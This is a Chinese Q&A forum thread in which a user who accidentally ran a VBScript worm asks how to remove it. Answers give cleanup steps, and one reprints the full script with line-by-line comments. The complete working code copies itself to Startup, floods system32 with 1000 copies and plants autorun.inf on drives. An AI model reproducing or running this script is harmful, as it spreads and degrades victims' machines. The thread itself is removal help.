Question

VBS一段代码破解

Dim fso,SELF,filename,x1,x2,x3,ADName,DName
on error resume next
Set fso = CreateObject("scripting.filesystemobject")
SELF = WScript.ScriptFullName
If Not fso.FileExists("C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs") Then
fso.CopyFile SELF,"C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs"
End If
Randomize
x3=Int((90 - 65 + 1) * Rnd + 65)
x2=chr(x3)
filename=filename&x2
Randomize
x3=Int((90 - 65 + 1) * Rnd + 65)
x2=chr(x3)
filename=filename&x2
Randomize
x3=Int((122 - 97 + 1) * Rnd + 97)
x2=chr(x3)
filename=filename&x2
Randomize
x3=Int((122 - 97 + 1) * Rnd + 97)
x2=chr(x3)
filename=filename&x2
Randomize
x3=Int((122 - 97 + 1) * Rnd + 97)
x2=chr(x3)
filename=filename&x2
For x1=1 To 1000
fso.copy SELF,"C:\WINDOWS\system32\"&filename&x1&".vbs"
Next
Do
Set ADName=fso.Drives
For Each DName In ADName
If DName.DriveType=2 Then
If Not fso.FileExists(DName&"\autorun.inf") Then
fso.CreateTextFile(DName&"\autorun.inf")
fso.OpenTextFile(DName&"\autorun.inf",2).WriteLine("[AutoRun]")
fso.OpenTextFile(DName&"\autorun.inf",8).WriteLine("ShellExecute=VBS.vbs")
fso.OpenTextFile(DName&"\autorun.inf",8).Close
End If
If Not fso.FileExists(DName&"\VBS.vbs") Then
fso.CopyFile SELF,DName&"\VBS.vbs"
End If
If Not fso.FileExists(DName&"\游戏.vbs") Then
fso.CopyFile SELF,DName&"\游戏.vbs"
End If
End if
Next
loop
'这个程序能力如同蟑螂...比较变态...会让电脑变得超慢。

不小心给运行了，任务管理器关一次自动打开，求破解代码或者方法……

Answer 1

修改：此为解决方法的补充部分
此vbs在“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”生成vbs.vbs
找到他删掉
每个盘都会生成autorun.inf vbs.vbs 游戏.vbs 文件，因为有autorun.inf文件，而你又没有从组策略中“关闭自动播放”时打开任何一个盘都会执行vbs.vbs文件，打开我的电脑后，单击搜索右边的文件夹，此时可以从左边树形浏览进入各个盘，此方法不会执行vbs.vbs，删掉每个盘里的autorun.inf vbs.vbs 游戏.vbs 文件，之后到c:\windows\system32下查看是否有成千个有5个字母加一个1到1000的vbs文件，有的话全删掉，从代码分析应该会产生的，但是我的电脑并没有此症状，c:\windows\system32下没有这些文件，前两个症状都有。
当你删完autorun.inf时，可能每个盘双击都打不开，我的是这样，我呢，就从组策略（开始-运行-输入gpedit.msc确定），有两项，1计算机配置-管理模块-系统-右侧窗口找到 “关闭自动播放”更改属性为“已启用”“所有驱动器”2.用户配置--管理模块-系统-右侧窗口找到 “关闭自动播放”更改属性为“已启用”“所有驱动器”，此时就可以打开各个盘了，能打开盘后在打开组策略将“关闭自动播放”更改为“未配置”即恢复了自动播放功能。

解决方法：
1.在桌面新建文本文件123a.txt改名为123a.bat右键编辑输入下列代码
taskkill /f /im wscript.exe
pause
保存
双击运行，此时vbs程序被关闭
打开C盘，保持任务管理器开着，看进程栏是否有wscript.exe进程有的话，再执行一下123a.bat文件，（因为有

autorun.inf文件，打开C盘时可能运行vbs.vbs程序）
依次打开到C:\WINDOWS\system32目录看看里面是不是有成千个vbs后缀的文件，文件名头两个字母为大写其次3个为小写再

加一个1到1000的数字.vbs
2.桌面新建文本文件del123.txt改名为del123.bat右键编辑输入下列代码
del 5个字母*.vbs
pause

"5个字母更"换为C:\WINDOWS\system32目录下vbs的头5个字母，*代替数字1~1000
例如
del RYzie*.vbs
pause
因为你可能已经重启过数次电脑，此时目录下会产生不同5个字母加1~1000数字的vbs文件，替换要删除的vbs文件头5个字

母到bat文件中，替换一次执行一次，直到删完为止
3.手动删除C:根目录下的autorun.inf VBS.vbs 游戏.vbs 文件
4.最后将C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs的文件删掉就大功告成了

可以在结束了wscript.exe进程后将C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs

的VBS.vbs右键编辑将其中代码全删掉保存成空文件，C:\VBS.VBS也如此，这样他就不会再执行了，因为循环语句判断的是

是否存在vbs.vbs文件名而不是里面的内容，有个空文件他就不会执行复制操作了。之后在删掉它就行了。

下面是代码解释部分

Dim fso,SELF,filename,x1,x2,x3,ADName,DName
on error resume next
Set fso = CreateObject("scripting.filesystemobject")
SELF = WScript.ScriptFullName
If Not fso.FileExists("C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs") Then
fso.CopyFile SELF,"C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs"
End If
'*****************
'**如果“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”处没有VBS.vbs，就将正在运行的假如

你运行的文件为a.vbs,会将a.vbs复制到上面的路径处改名为vbs.vbs,每次电脑启动vbs.vbs都会随开机运行
'****************
Randomize
x3=Int((90 - 65 + 1) * Rnd + 65)
x2=chr(x3)
filename=filename&x2
'****90为大写字母Z的ascii值65为大写字母A的ascii码值，上述代码是产生一个A~Z之间的大写字母给变量x2，将x2放入

filename变量中
Randomize
x3=Int((90 - 65 + 1) * Rnd + 65)
x2=chr(x3)
filename=filename&x2
'****90为大写字母Z的ascii值65为大写字母A的ascii码值，上述代码是产生一个A~Z之间的大写字母给变量x2，加到

filename后面，即现在filename有两个随机的大写字母组成
Randomize
x3=Int((122 - 97 + 1) * Rnd + 97)
x2=chr(x3)
filename=filename&x2
'******122为小写字母z,97为小写字母a同上
Randomize
x3=Int((122 - 97 + 1) * Rnd + 97)
x2=chr(x3)
filename=filename&x2
Randomize
x3=Int((122 - 97 + 1) * Rnd + 97)
x2=chr(x3)
filename=filename&x2
'*****到此为止filename变量有开头两个大写字母大写字母和后三个随机小写字母组成共5个字母
For x1=1 To 1000
fso.copy SELF,"C:\WINDOWS\system32\"&filename&x1&".vbs"
'*********复制正在运行的vbs文件到"C:\WINDOWS\system32"目录下名字为filename里的5个随机字母加上1到1000数字形
'成的文件名，例如DYirm1.vbs DYirm2.vbs DYirm3.vbs ...DYirm1000.vbs共生成1000个vbs文件，由于是随机字母，所

以每次你重新启动电脑时
'都会执行C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs文件，启动一

次"C:\WINDOWS\system32"内就对1000个文件他的头两个字母为大写且是随机的，后三个为小写也是随机的最后加数字
Next
Do
Set ADName=fso.Drives
For Each DName In ADName
If DName.DriveType=2 Then
'****drivetype=2为C盘
If Not fso.FileExists(DName&"\autorun.inf") Then
fso.CreateTextFile(DName&"\autorun.inf")
fso.OpenTextFile(DName&"\autorun.inf",2).WriteLine("[AutoRun]")
fso.OpenTextFile(DName&"\autorun.inf",8).WriteLine("ShellExecute=VBS.vbs")
fso.OpenTextFile(DName&"\autorun.inf",8).Close
End If
'****在C盘建立autorun.inf文件，此文件中代码ShellExecute=VBS.vbs会使你打开C盘时运行c:\VBS.vbs文件
If Not fso.FileExists(DName&"\VBS.vbs") Then
fso.CopyFile SELF,DName&"\VBS.vbs"
End If
'***复制运行的vbs保存到C:\VBS.vbs
If Not fso.FileExists(DName&"\游戏.vbs") Then
fso.CopyFile SELF,DName&"\游戏.vbs"
End If
'***复制运行的vbs保存到C:\游戏.vbs
End if
Next
loop
'******无限循环，当他发现C盘中autorun.inf VBS.vbs 游戏.vbs 被删除，就会重新生成相应文件

Answer 2

坑爹的玩意。。。谁给你的。。。？
首先关掉wscript进程，这个你懂，楼上已经说了（不过前面两行多余了，没用上）。因为用了do无限循环，所以如果会用taskkill命令的用这命令也行（因为试过用terminater这命令杀进程不管用。。。）

然后每个磁盘下面有个自动运行autorun.inf文件和脚本文件，删了。再找一下“开始菜单——程序——启动”，看看有没有脚本文件？有就删了。（注意！一定要先把脚本进程关了再删，实在删不了就不删了，重启进安全模式来搞上面的删除文件，不然你删一个出来一个，系统那就出一大堆文件）

估计着你的系统文件夹那已经几十个千的脚本文件了（c盘下的windows文件夹下的system32文件夹，都是一串数学的vbs脚本文件）。。。能删多少删多少吧。。

脚本无毒，只是恶搞。就像写字一样，很简单，但是要是乱图乱画，清理起来可就麻烦了。

哦，对了还有一件很重要的事，如果这个脚本是你朋友送你的，你就消灭他吧。

Answer 3

先运行这个vbs
set ws=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
Set jincheng = GetObject("winmgmts:\\").ExecQuery("SELECT * FROM Win32_Process")
Do
For Each x in jincheng
If lCase(x.name)="wscript.exe" Then
x.terminate
End if
Next
loop

然后手都删除硬盘里面的autorun文件应该就可以了